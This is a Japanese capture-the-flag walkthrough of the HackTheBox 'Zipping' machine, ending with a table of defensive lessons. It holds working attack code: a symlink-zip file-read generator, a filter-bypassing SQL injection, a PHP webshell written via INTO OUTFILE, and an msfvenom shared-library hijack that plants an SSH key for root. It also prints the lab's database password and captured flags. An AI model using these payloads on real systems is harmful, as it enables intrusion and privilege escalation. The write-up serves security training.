HackTheBox: Zipping — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH, 80/tcp Apache
→
22/tcp SSH, 80/tcp Apache
zip-symlink 任意ファイル読取
/upload.php 偽装PDF
→
/upload.php 偽装PDF
ソース漏洩
index.php / product.php / functions.php
→
index.php / product.php / functions.php
preg_match /m バイパス SQLi
改行注入 + UNION SELECT
→
改行注入 + UNION SELECT
INTO OUTFILE webshell 設置
secure_file_priv 無制限
→
secure_file_priv 無制限
rektsu シェル取得
user.txt ✓
→
user.txt ✓
sudo NOPASSWD /usr/bin/stock
libcounter.so dlopen ENOENT
→
libcounter.so dlopen ENOENT
共有ライブラリ・ハイジャック
msfvenom linux/x64/exec
→
msfvenom linux/x64/exec
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 22,80 10.129.229.87
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.54 ((Ubuntu)) |_http-title: Zipping | Watch store |_http-server-header: Apache/2.4.54 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
開いているのは
22/tcp と 80/tcp のみ。80番の「Zipping Watch Store」は
時計販売サイトを模した自作 PHP アプリで、ナビゲーションに Work with Us
(upload.php)というレジュメ(履歴書)アップロード機能を持つ。
サイト巡回 — アップロードフォームの発見
BASH
curl -s http://10.129.229.87/ | grep -i "work with\|upload"
RESULT
<a class="nav-link btn btn-primary" href="upload.php">Work with Us</a>
BASH
curl -s http://10.129.229.87/upload.php
RESULT
If you are interested in working with us, do not hesitate to send us your curriculum. The application will only accept zip files, inside them there must be a pdf file containing your curriculum. <form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php"> <input type="file" class="form-control" name="zipFile" accept=".zip"> <button type="submit" class="btn btn-primary" name="submit">Upload</button> </form>
🚨
攻撃面の特定: zip をアップロードすると中身が展開され、
uploads/<ハッシュ>/cv.pdf
として公開される。「zip の中身は pdf 1つだけ」という制限を、symlink エントリ入り zip
で回避できないか検証する(zip-symlink 攻撃)。
PHASE 2
zip-symlink 任意ファイル読取 → ソースコード漏洩
symlink 入り zip の作成
PYTHON
import zipfile, stat
def make_symlink_zip(out, entry, target):
zi = zipfile.ZipInfo(entry)
zi.create_system = 3 # Unix
zi.external_attr = (stat.S_IFLNK | 0o777) << 16 # symlink フラグを立てる
with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(zi, target) # entry の中身 = リンク先パス文字列
# 展開後 cv.pdf が /etc/passwd を指すシンボリックリンクになる zip を作成
make_symlink_zip("sym_passwd.zip", "cv.pdf", "/etc/passwd")
ℹ️
通常の zip エントリはファイルの中身そのものを格納するが、Unix 系 zip は
external_attr の上位16bitに st_mode を格納できる。ここに
S_IFLNK(symlink フラグ)を立てると、そのエントリは「シンボリックリンク」として
展開され、エントリの中身(バイト列)がリンク先パスとして解釈される。サーバー側が
アップロード zip の中身をアーカイブ属性を見ずに単純展開すると、任意パスへのシンボリックリンクを
作り込める。
アップロード & リンク先の読取
BASH
curl -s -F "submit=" \
-F "zipFile=@sym_passwd.zip;filename=cv.zip;type=application/octet-stream" \
http://10.129.229.87/upload.php
RESULT
File successfully uploaded and unzipped ... <a href="uploads/1e253b4c8a8ba32201e4257e577a51eb/cv.pdf">uploads/1e253b4c8a8ba32201e4257e577a51eb/cv.pdf</a>
BASH
curl -s http://10.129.229.87/uploads/1e253b4c8a8ba32201e4257e577a51eb/cv.pdf
RESULT
root:x:0:0:root:/root:/bin/bash
...
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
✅
任意ファイル読取 成功。 ローカルユーザー
rektsu(アプリの実行ユーザー)の
存在を確認。同じ手法で Apache の vhost 設定・PHP ソースを次々に読み出す。
DocumentRoot の特定 & ソースコード漏洩
BASH
# 同じ手順を関数化して繰り返す(symlink 生成 → upload → 読取)
read_remote() {
local out link
out=$(curl -s -F "submit=" -F "zipFile=@$1;filename=cv.zip;type=application/octet-stream" \
http://10.129.229.87/upload.php)
link=$(echo "$out" | grep -oE 'uploads/[0-9a-f]{32}/cv\.pdf')
curl -s "http://10.129.229.87/$link"
}
# 対象: /etc/apache2/sites-enabled/000-default.conf, shop/index.php,
# shop/product.php, shop/functions.php
RESULT (000-default.conf 抜粋)
DocumentRoot /var/www/html
<Directory /var/www/html/uploads>
Options -Indexes
</Directory>
RESULT (shop/index.php)
<?php
session_start();
include 'functions.php';
$pdo = pdo_connect_mysql();
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
include $page . '.php';
?>
RESULT (shop/product.php 抜粋)
if (isset($_GET['id'])) {
$id = $_GET['id'];
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
...
RESULT (shop/functions.php 抜粋)
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
🚨
3つの重大発見:
(1)
shop/index.php?page= は file_exists($page.'.php') の真偽だけで
include するため、任意のパスを渡せば LFI になる。
(2) shop/product.php?id= は prepare() を使いつつ文字列連結で SQL 文を組んでおり
(prepare() はプレースホルダを使わない限り SQLi 対策にならない典型例)、
preg_match フィルタも脆弱。
(3) DB 資格情報 root:MySQL_P@ssw0rd! が平文で読める(PDOはFILE権限を持つMariaDB rootで接続)。
PHASE 3
preg_match フィルタ解析 & SQLi バイパス設計
フィルタ正規表現の弱点
NOTE
フィルタ: /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'",.<>\/?]|[^0-9]$/
(/m, /s いずれのフラグも無し = デフォルトモード)
このパターンは OR (|) で2択:
(A) ^.*[特殊文字] … 文字列の "先頭行" のどこかに特殊文字があれば match
(B) [^0-9]$ … 文字列の "末尾" が数字以外なら match
デフォルトモードでは "." は改行にマッチせず、"^"/"$" は文字列全体の
先頭・末尾にしかアンカーされない(各行ごとではない)。
つまり:
- 入力に改行を混ぜると、(A) は "1行目" しか見ない → 1行目を空にすれば回避可能
- 末尾さえ数字にしておけば (B) も回避可能
→ 先頭に改行、末尾を数字で終える ペイロードなら
間に quote や UNION/SELECT 等の特殊文字を自由に挟める。
バイパス済み SQLi ペイロードの構造
PYTHON (id パラメータの組立)
# id = "\n\r'" ++ "'1" # # 実際に組まれるクエリ: # SELECT * FROM products WHERE id = '\n\r' '1' # ^^^^^^^ ここで文字列を閉じる # 注入内容は生SQLとして実行される # ^^^ 末尾はコメントアウトで無効化 id_raw = "\n\r'" + "UNION SELECT ...-- -" + "'1"
BASH (curl での送信)
curl -s -G "http://10.129.229.87/shop/index.php" \ --data-urlencode "page=product" \ --data-urlencode $'id=\n\r\'UNION SELECT 1,2,3,4,5,6,7,8-- -\'1'
✅
--data-urlencode が改行・quote を含む生バイトをそのまま percent-encode してくれるため、
sqlmap を使わず curl だけで フィルタ回避 SQLi を送信できる。
UNION SELECT 列数の特定
BASH
for n in 1 2 3 4 5 6 7 8 9; do
cols=$(seq -s, 1 $n)
sqli_get "UNION SELECT ${cols}-- -" # 上記の id_raw 組立を関数化
done
RESULT
columns=8 のときのみ商品ページに反映:
<h1 class="name">2</h1> ← UNION SELECT の2列目 = products.name
ℹ️
products テーブルは8列。UNION の2列目が画面上 <h1 class="name">
として反映されることを確認したので、この列にペイロードを差し込めば任意の文字列を
画面へ出力させる/後述のとおり INTO OUTFILE にも利用できる。
DB特権・書込み制限の確認
BASH
sqli_get "UNION SELECT 1,@@secure_file_priv,3,4,5,6,7,8-- -" sqli_get "UNION SELECT 1,concat(version(),0x3a,current_user(),0x3a,@@datadir),3,4,5,6,7,8-- -"
RESULT
secure_file_priv = (空文字列 = 制限なし) version/user/datadir = 10.6.12-MariaDB-0ubuntu0.22.10.1:root@localhost:/var/lib/mysql/
🚨
secure_file_priv が空 = 任意パスへの LOAD_FILE / INTO OUTFILE 制限なし。
接続ユーザーは root@localhost(DB側のroot、OSのrootとは別)で FILE 権限を保持。
MariaDB データディレクトリ (/var/lib/mysql/) はプロセス実行ユーザー mysql が
書込み可能なので、ここに PHP webshell を書き込み、先ほどの LFI (page=) で
呼び出せば RCE に到達できる。
PHASE 4
INTO OUTFILE で webshell 設置 → user.txt 取得
PHP webshell の書込み
PYTHON (payload 組立)
payload_php = "<?php system($_GET['cmd']); ?>"
payload_hex = "0x" + payload_php.encode().hex() # クオート衝突回避のため hex リテラルで渡す
# 8列中2列目(反映列)にPHPコードを、残りは NULL
cols = ["NULL"] * 8
cols[1] = payload_hex
sql = f"UNION SELECT {','.join(cols)} INTO OUTFILE '/var/lib/mysql/shell.php'-- -"
BASH
sqli_get "UNION SELECT NULL,0x3c3f70687020...,NULL,NULL,NULL,NULL,NULL,NULL \
INTO OUTFILE '/var/lib/mysql/shell.php'-- -"
ℹ️
ファイル名は
shell.php(拡張子そのまま)でよい。page=/var/lib/mysql/shell
とすれば、LFI 側の file_exists($page.'.php') がちょうど
/var/lib/mysql/shell.php を見つけて include してくれるため、
従来しばしば使われる NULL バイト拡張子切り詰め (shell.php%00) のような
トリックは不要。
LFI 経由での webshell 起動確認
BASH
curl -s "http://10.129.229.87/shop/index.php?page=/var/lib/mysql/shell&cmd=id"
RESULT
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
✅
RCE 成功。 PHP を実行しているのは Apache の www-data ではなく
rektsu ユーザー(PHP-FPM が rektsu 権限で動作する構成)。
user.txt 取得
BASH
curl -s "http://10.129.229.87/shop/index.php?page=/var/lib/mysql/shell" \
-G --data-urlencode "cmd=cat /home/rektsu/user.txt"
RESULT
a471ff0b8256db52cf631eb66acda22a
user.txt — rektsu
a471ff0b8256db52cf631eb66acda22a
⚠️
cmd パラメータは必ず urllib.parse.quote(cmd, safe="")
(またはcurlの --data-urlencode)で完全 percent-encode すること。生の
+/& 等を素の URL に混ぜると、PHP の $_GET urldecode
(+→空白)でコマンドやbase64ペイロードが壊れる。
PHASE 5
権限昇格の下調べ — sudo NOPASSWD /usr/bin/stock
sudo -l で許可コマンドを確認
BASH (webshell経由)
cmd=sudo -l
RESULT
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:...
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
stock バイナリの挙動を strace で解析
BASH (webshell経由 — 対話バイナリなので timeout でラップ)
cmd=printf 'St0ckM4nager\n' | timeout 5 strace -f -e trace=openat /usr/bin/stock 2>&1 | grep -i counter
RESULT
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
BASH (パスワード自体の確認)
cmd=printf 'St0ckM4nager\n' | timeout 5 /usr/bin/stock 2>&1
RESULT
Enter the password: ================== Menu ================== 1) See the stock 2) Edit the stock 3) Exit the program Select an option:
🚨
権限昇格経路の確定:
stock はパスワード認証直後
(メニュー表示より前)に /home/rektsu/.config/libcounter.so を
dlopen() しようとするが存在せず失敗している。パスワード
“St0ckM4nager” は本バイナリの静的解析(Ghidra/過去の公開情報)から既知の値。
.config ディレクトリは rektsu:rektsu 所有で書込み可能なため、
ここに悪性の共有オブジェクトを設置すれば、sudo により root権限で
dlopen させられる(共有ライブラリ・ハイジャック)。
PHASE 6
libcounter.so ハイジャック → root.txt
ローカル: SSH 鍵ペア生成
BASH (Kali側)
ssh-keygen -t rsa -b 2048 -N "" -f zipping_root
悪性共有オブジェクトの生成 (msfvenom)
BASH (Kali側)
PUBKEY=$(cat zipping_root.pub)
msfvenom -p linux/x64/exec \
CMD="mkdir -p /root/.ssh; echo $PUBKEY >> /root/.ssh/authorized_keys; \
chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys" \
-f elf-so -o libcounter.so
base64 -w0 libcounter.so > libcounter.b64
RESULT
Payload size: 543 bytes
Final size of elf-so file: 945 bytes
Saved as: libcounter.so
ℹ️
linux/x64/exec ペイロードは共有オブジェクトとして読み込まれた瞬間
(コンストラクタ経由)に任意のシェルコマンドを実行する、dlopen ハイジャック用の定番。
今回は自分の公開鍵を /root/.ssh/authorized_keys に追記するコマンドを埋め込み、
以降は素の SSH でアクセスできるようにする(対話シェルの維持が不要になる)。
webshell 経由で .so を配置
BASH
B64=$(cat libcounter.b64) # webshell 経由: base64 は '+' '/' '=' を含むため必ず --data-urlencode で送る cmd="mkdir -p /home/rektsu/.config && echo $B64 | base64 -d > /home/rektsu/.config/libcounter.so"
RESULT
-rw-r--r-- 1 rektsu rektsu 945 Aug 18 01:32 /home/rektsu/.config/libcounter.so
sudo stock を起動しハイジャックを発火
BASH (webshell経由)
cmd=printf 'St0ckM4nager\n3\n' | timeout 5 sudo /usr/bin/stock 2>&1
⚠️
stock は対話メニューを持つため、パスワードに続けて “3”
(Exit) も送っておき、timeout でラップしてハングを防ぐ
(認証直後・メニュー表示前に dlopen が走るので、この対策自体は必須ではないが
webshell リクエストを確実に完了させるために有効)。
SSH root ログイン & root.txt 取得
BASH (Kali側)
ssh -i zipping_root root@10.129.229.87 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
efea891fcf339bc3513239e4ac2ccb7a
root.txt — root@zipping
efea891fcf339bc3513239e4ac2ccb7a
✅
権限昇格成功。
sudo /usr/bin/stock がroot権限で
libcounter.so をロードした瞬間、埋め込んだコマンドが root として実行され、
自分の公開鍵が /root/.ssh/authorized_keys に追記された。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — rektsu
a471ff0b8256db52cf631eb66acda22a
root.txt — root@zipping
efea891fcf339bc3513239e4ac2ccb7a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| zip-symlink 任意ファイル読取 | upload.php (レジュメ zip 展開処理) | 任意ファイル読取(情報漏洩) | High | symlink エントリを含む zip を pdf として偽装アップロードし、展開後のリンクを辿って任意パスを読取 |
| preg_match /m未指定バイパス SQLi | shop/product.php?id= | データベース侵害 / RCE | Critical | 改行注入で先頭行フィルタと末尾文字フィルタを同時に回避し、UNION SELECT … INTO OUTFILE でPHP webshellを書込み |
| LFI (Local File Inclusion) | shop/index.php?page= | 任意PHPファイルの実行 | High | file_exists() の真偽判定のみでinclude するため、SQLiで書き込んだwebshellをそのまま起動 |
| 共有ライブラリ・ハイジャック (sudo) | /usr/bin/stock (NOPASSWD sudo) | 権限昇格(root) | Critical | rektsu が書込み可能な~/.config/にdlopen対象のlibcounter.soを配置し、sudo実行でroot権限のコード実行を発火 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョンスキャン + サイト巡回 | 22/80のみ開放、upload.phpのレジュメ機能を発見 |
| 2 | zip-symlink LFI | Python zipfile + external_attr操作 | /etc/passwd、Apache設定、PHPソース一式(DB資格情報含む) |
| 3 | SQLi解析 | preg_match /m未指定の穴を突く改行注入 | UNION列数=8、secure_file_priv無制限を確認 |
| 4 | webshell設置 | UNION SELECT … INTO OUTFILE + LFI起動 | user.txt 取得(rektsu権限RCE) |
| 5 | 権限調査 | sudo -l + strace | sudo NOPASSWD stock、libcounter.so dlopen ENOENTを確認 |
| 6 | 権限昇格 | msfvenom共有オブジェクト + sudo発火 | root.txt 取得(SSH鍵注入でroot到達) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| zip展開処理がアーカイブエントリの種別(symlinkか通常ファイルか)を検証していない | 展開前に各エントリの external_attr / モードビットを検査し、symlink・デバイスファイル等は拒否する。可能なら PHP の ZipArchive でも展開後に is_link() でチェックする。 |
| PDO prepare() を使っていても文字列連結でSQL文を組んでいるため実質SQLi対策になっていない | 必ずプレースホルダ (:id 等) とバインドパラメータを使う。入力フィルタに頼らない。 |
| 正規表現フィルタが /m /s フラグ不足で複数行入力を想定していない | 入力値に改行等の制御文字が含まれる時点で拒否する。フィルタのみに依存せず多層防御(パラメータ化クエリ)を実装する。 |
| page パラメータの file_exists() チェックだけで include している(LFI) | 許可するページ名をホワイトリスト方式で厳格に限定する。ユーザー入力を直接ファイルパスに使わない。 |
| secure_file_priv が無制限、かつ DB rootの資格情報がソースに平文で残っている | secure_file_priv を特定ディレクトリに限定する。DB専用の最小権限ユーザーを作成しアプリからは root で接続しない。資格情報は環境変数やシークレットマネージャで管理する。 |
| sudo NOPASSWD な自作バイナリが、一般ユーザー書込み可能なホームディレクトリ配下から共有ライブラリを dlopen している | dlopen対象を絶対パス・root専用ディレクトリに固定し、ロード前にパーミッション/所有者を検証する。可能ならライブラリを静的リンクするか、setuid/sudoバイナリからの動的ロードを避ける。 |

